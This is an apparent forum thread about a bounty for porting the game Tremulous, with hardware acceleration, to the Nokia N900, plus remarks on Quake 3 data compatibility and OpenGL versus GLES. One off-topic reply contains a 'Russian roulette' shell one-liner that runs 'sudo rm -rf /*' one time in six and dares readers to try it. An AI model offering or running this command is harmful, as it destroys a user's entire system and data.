ok, i will keep this simple...

I am offering a bounty of 50 US dollers to the first dev to port tremulous to the n900 and provide a .deb that I can install...money will be payed via paypal.

Tremulous is quake 3 based and the debian ARMEL port already works on the n900 however hardware acceleration does not so it runs at about 0.5fps on the title screen!

I could probably do this myself however I dont have time. I have money, but not time. Thusly I am prepared to pay. If the any DEV has any questions about the seriousness of this offer, PM me and we can chat (yes I have a verified paypal account).


What you must provide to earn the loot:
  • A deb file that can be installed
  • Tremulous with hardware acceleration
  • Upload to development repository

Good Luck!

I agree . Won't work as written, however, would have to be

[ $[ $RANDOM % 6 ] == 0 ] && sudo rm -rf /* || echo "You live"

See if I'm right. Try it, I dare yah

I generally play on POC|fight club, the unnammed Russian servers, and kissbangbang.

Yes my tag is POC|vi++

Players on tremulous unite!

While it would suck for fighting I reckon you could probably build bases ok from the n900's limited interface.

so, anyone interested?

c'mon!

Eh... I dont know if anybody knows this, but I checked out Tremulous' data, and it looks compatible with Quake 3... (PK3-files)
And what I know is this: Debian is binary-compatible with Maemo. You can run apps made for Debian Lenny on Maemo as long as the depencies are correct. However, the biggest problem with Tremulous is that it's made for OpenGL found in SDL, not GLES. They aren't compatible, and that's where the problem appears.

Note: Im not a developer. I'm just a guy who knows his way around Linux and it's ways.

Ok: i dare to make this statement: Tremulous-maps and all data is in theory compatible with Quake 3 and Open Arena.

And, no, i dont want any bounty...
